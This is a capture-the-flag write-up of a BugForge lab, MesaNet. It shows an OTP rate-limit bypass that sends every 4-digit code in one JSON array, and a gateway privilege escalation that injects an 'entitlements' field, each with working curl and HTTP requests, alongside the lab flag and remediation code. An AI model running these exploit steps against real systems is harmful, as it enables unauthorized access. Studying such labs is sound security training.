MesaNet: OTP Bypass + Gateway Entitlement Override
Overview
- Platform: BugForge
- Vulnerability: OTP Bypass via JSON Array Parameter Injection, Broken Access Control via Gateway Entitlement Override
- Key Technique: Sending all 10,000 OTP codes in a single JSON array to bypass rate limiting, then injecting an
entitlementsfield into the API gateway request body to override session-based authorization - Result: Full bypass of OTP-protected dev console and complete authorization bypass across all backend services, exposing confidential data and the flag
Objective
Reach the restricted dev application on the MesaNet Access Panel, then continue testing with the information found there.
Initial Access
# Target Application
URL: https://lab-XXXXX.labs-app.bugforge.io (rotates on reset)
# Auth details
Credentials: operator:operator (L3 clearance)
Auth: Session-based (connect.sid cookie, HttpOnly, 24h expiry)
Key Findings
-
OTP Bypass via JSON Array Parameter Injection (CWE-287, CWE-799) — The
/dev/verifyendpoint accepts a JSON body where theotpfield can be an array. The server iterates over all elements checking each against the current OTP but only counts the request as one attempt against the 10-attempt rate limit. Sending all 10,000 possible 4-digit codes in a single request guarantees a match. -
Broken Access Control — Entitlement Override via Gateway (CWE-639) — The central API gateway at
POST /gatewayaccepts a top-levelentitlementsfield in the request JSON body and passes it directly to backend services. Backend services use this attacker-controlled value instead of the user’s session entitlements, allowing any authenticated user to escalate privileges across all services. -
Weak Credentials (CWE-521) — The
securityuser account (Barney Calhoun, L1 clearance) uses the passwordsecurity123. -
Information Disclosure — User Provisioning API (CWE-200) — The dev console’s user provisioning schema at
/dev/specreveals the full internal entitlement structure, providing the exact field names and values needed to craft the gateway override attack.
Attack Chain Visualization
┌──────────────────────┐
│ Login as operator │
│ (operator:operator) │
└──────────┬───────────┘
│
▼
┌──────────────────────┐ ┌─────────────────────────────────┐
│ POST /dev/verify │────▶│ Send JSON array with all │
│ OTP bypass │ │ 10,000 codes (0000-9999) │
└──────────┬───────────┘ │ Rate limiter counts as 1 try │
│ └─────────────────────────────────┘
▼
┌──────────────────────┐
│ Dev Console Access │
│ /dev │
│ Read API docs, │
│ entitlement schema, │
│ app UUIDs │
└──────────┬───────────┘
│
▼
┌──────────────────────┐ ┌─────────────────────────────────┐
│ POST /gateway │────▶│ Inject "entitlements" field in │
│ Entitlement override│ │ request body — gateway passes │
└──────────┬───────────┘ │ it to backends as-is │
│ └─────────────────────────────────┘
▼
┌──────────────────────┐
│ Access confidential │
│ notes, mail, and │
│ personnel data │
│ Flag returned │
└──────────────────────┘
Application Architecture
| Component | Path | Description |
|---|---|---|
| Gateway | POST /gateway | Central API router — accepts {id, endpoint, data} and routes to backend services by UUID |
| Nexus (Notes) | /api/notes/* | Research notes with public/restricted/confidential classifications |
| Secure Mail | /api/mail/* | Internal messaging with classification levels |
| Rail (Transit) | /api/rail/* | Transit schedule and announcements |
| Personnel | /api/personnel/* | Staff directory with clearance levels |
| Dev Console | /dev | OTP-protected developer tools and user provisioning |
Registered App UUIDs
| App | UUID | |—–|——| | Nexus | a7f3c4e9-8b2d-4a6f-9c1e-5d8a3b7f2c4e | | Mail | b3e8d1f6-4c9a-4b2e-8f7d-6a1c9b3e5f8d | | Rail | c3e8a1f6-4c9a-4b2e-8f6d-6a1c9b3e5f8d | | Personnel | e5b2c8a3-9d4f-4e1b-8c7a-2f6d1a9e3b5c |
Exploitation Path
Step 1: Reconnaissance — Mapping the Gateway Architecture
After logging in as operator:operator, the dashboard reveals a multi-app internal portal (Nexus, Mail, Rail, Personnel). All API calls route through a single POST /gateway endpoint with a JSON body:
{
"id": "<app-uuid>",
"endpoint": "/api/...",
"data": { ... }
}
Endpoint fuzzing with ffuf identified the registered applications and their API routes. The /dev endpoint was discovered but protected by a 4-digit OTP that rotates every 60 seconds with a 10-attempt rate limit per cycle.
Step 2: OTP Bypass — JSON Array Parameter Injection
The /dev/verify endpoint accepts POST with JSON body {"otp": "1234"}. Testing revealed it also accepts an array:
POST /dev/verify
Content-Type: application/json
{"otp": ["0000", "0001", "0002", ..., "9999"]}
The server iterates over every element in the array, checking each against the current OTP. Critically, the entire request counts as one attempt against the rate limit. With all 10,000 possible 4-digit codes in a single request, a match is guaranteed.
# Generate the payload
python3 -c "
import json
codes = [f'{i:04d}' for i in range(10000)]
print(json.dumps({'otp': codes}))
" > /tmp/otp-payload.json
# Send it
curl -s -X POST "$URL/dev/verify" \
-H "Content-Type: application/json" \
-b "connect.sid=$COOKIE" \
-d @/tmp/otp-payload.json \
-o /dev/null -w "%{http_code}"
# Response: 302 Found. Redirecting to /dev
An HTTP/2 race condition approach (otp-race.py) was also developed to try concurrent individual requests, but the JSON array method was simpler and fully reliable.
Step 3: Dev Console Enumeration
With OTP bypassed, the dev console revealed:
- Gateway API documentation with all registered app UUIDs and endpoint schemas
- User provisioning API at
POST /api/dev/users(direct, not through gateway) - Entitlement schema at
/dev/specshowing the exact structure:
{
"entitlements": {
"nexus": {
"access": true,
"read": ["public", "restricted", "confidential"],
"write": ["public", "restricted", "confidential"]
},
"mail": {
"access": true,
"canSend": true,
"maxClassification": "confidential"
}
}
}
Note: The dev console displays dummy UUIDs (11111111-..., 22222222-...) that are documentation-only and don’t work. The real UUIDs were discovered during earlier endpoint fuzzing.
Step 4: Broken Access Control — Entitlement Override via Gateway
The critical vulnerability: the gateway accepts an entitlements field in the top-level request body and passes it to backend services, which use it instead of the user’s session entitlements.
Any authenticated user — even the L1 security account with no Nexus access — can escalate privileges:
POST /gateway HTTP/1.1
Content-Type: application/json
Cookie: connect.sid=<session>
{
"id": "a7f3c4e9-8b2d-4a6f-9c1e-5d8a3b7f2c4e",
"endpoint": "/api/notes/list",
"data": {},
"entitlements": {
"nexus": {
"access": true,
"read": ["public", "restricted", "confidential"]
}
}
}
This bypasses:
- Service access controls — security user can access Nexus (normally denied)
- Classification restrictions — public-only user can read confidential notes
- Mail restrictions — any user can send confidential-classified messages
The flag was returned as an extra flag field in the JSON response when the entitlement override was used on the notes/list endpoint.
Flag / Objective Achieved
bug{YjtROkuc4hQW1S8XJ8aV8vxdeqOwaeA4}
Key Learnings
- JSON type coercion as an attack vector — When an API expects a string but also accepts arrays, the iteration behavior can bypass rate limiters that count requests rather than individual values. Always check how endpoints handle unexpected types (arrays, objects, null) for scalar parameters.
- Gateway trust boundaries — A central API gateway that blindly forwards request body fields to backend services creates a privilege escalation path. The gateway must strip or validate all fields except the expected
id,endpoint, anddata. - Entitlement-based access control must be server-authoritative — Backend services should derive entitlements from the authenticated session, never from client-supplied request data. The gateway’s job is to enforce this boundary, not relay client claims.
- Dev consoles as attack surface amplifiers — Even when OTP-protected, the dev console exposed the exact entitlement schema needed to craft the override. The information disclosure turned a generic “extra fields in JSON” idea into a precise, targeted exploit.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| SQL injection on all endpoints | No injection points | All endpoints use parameterized queries (SQLite) |
SSRF via gateway endpoint field |
Blocked | Gateway enforces /api/ prefix and normalizes path traversal |
| Mail IDOR via gateway | Blocked | userId check uses server-side session, not overridable through gateway |
| OTP race condition (HTTP/2 concurrent requests) | Partially worked but unreliable | Server serialized most requests; JSON array method was simpler |
| All-zeros UUID (00000000-…) | No special behavior | Patched from older variant of the lab |
Prototype pollution via __proto__ in gateway body |
No effect | Server not vulnerable to prototype pollution |
| Session secret cracking | Not feasible | Strong secret, no known weakness |
| XSS in Nexus notes | Stored but no impact | No bot/viewer to trigger stored XSS |
| API versioning bypass | No version mechanism | No version paths, headers, or parameters exist |
Tools Used
| Tool | Purpose |
|---|---|
| curl | Manual API testing and OTP payload delivery |
| ffuf | Endpoint discovery across all gateway apps |
| Python 3 | OTP payload generation and race condition script (otp-race.py) |
| Burp Suite | Request interception and gateway parameter testing |
| sqlmap | SQL injection verification (confirmed parameterized queries) |
Remediation
1. OTP Bypass via JSON Array (CVSS: 9.8 - Critical)
Issue: The OTP verification endpoint accepts array values for the otp parameter and iterates over all elements while counting the entire request as a single attempt.
CWE Reference: CWE-287 — Improper Authentication, CWE-799 — Improper Control of Interaction Frequency
Fix:
// BEFORE (Vulnerable)
app.post('/dev/verify', (req, res) => {
const otp = req.body.otp;
// If otp is an array, iterates all values but counts as 1 attempt
const values = Array.isArray(otp) ? otp : [otp];
for (const val of values) {
if (val === currentOtp) return res.redirect('/dev');
}
});
// AFTER (Secure)
app.post('/dev/verify', (req, res) => {
const otp = req.body.otp;
// Reject non-string types
if (typeof otp !== 'string' || !/^\d{4}$/.test(otp)) {
return res.status(400).json({ error: 'OTP must be a 4-digit string' });
}
incrementAttemptCounter(req.session);
if (otp === currentOtp) return res.redirect('/dev');
});
2. Broken Access Control — Gateway Entitlement Override (CVSS: 9.8 - Critical)
Issue: The API gateway forwards the client-supplied entitlements field to backend services, which use it instead of session entitlements.
CWE Reference: CWE-639 — Authorization Bypass Through User-Controlled Key
Fix:
// BEFORE (Vulnerable)
app.post('/gateway', (req, res) => {
const { id, endpoint, data, entitlements } = req.body;
// entitlements from request body passed to backend
forwardToService(id, endpoint, { data, entitlements, user: req.session.user });
});
// AFTER (Secure)
app.post('/gateway', (req, res) => {
// Only extract expected fields — entitlements come from session
const { id, endpoint, data } = req.body;
const entitlements = req.session.user.entitlements;
forwardToService(id, endpoint, { data, entitlements, user: req.session.user });
});
3. Weak Credentials (CVSS: 5.3 - Medium)
Issue: The security account uses a trivially guessable password (security123).
CWE Reference: CWE-521 — Weak Password Requirements
Fix: Enforce minimum password complexity requirements and prevent passwords that contain the username.
4. Information Disclosure — Entitlement Schema (CVSS: 3.7 - Low)
Issue: The dev console’s /dev/spec endpoint exposes the full internal entitlement structure.
CWE Reference: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor
Fix: Remove or restrict the spec endpoint to development environments only. Do not expose internal permission schemas in production.
OWASP Top 10 Coverage
- A01:2021 — Broken Access Control — Gateway entitlement override allows any user to escalate privileges across all services
- A07:2021 — Identification and Authentication Failures — OTP bypass via JSON array parameter injection, weak credentials on security account
- A04:2021 — Insecure Design — Gateway architecture trusts client-supplied entitlements without validation; no allowlist on accepted request body fields
References
- CWE-287: Improper Authentication
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-799: Improper Control of Interaction Frequency
- OWASP API Security Top 10 — API1: Broken Object Level Authorization
- OWASP Testing Guide — OTP Implementation
- PortSwigger — Mass Assignment / Parameter Pollution
Tags: #otp-bypass #broken-access-control #entitlement-override #api-gateway #bugforge #json-array-injection
Document Version: 1.0
Last Updated: 2026-03-20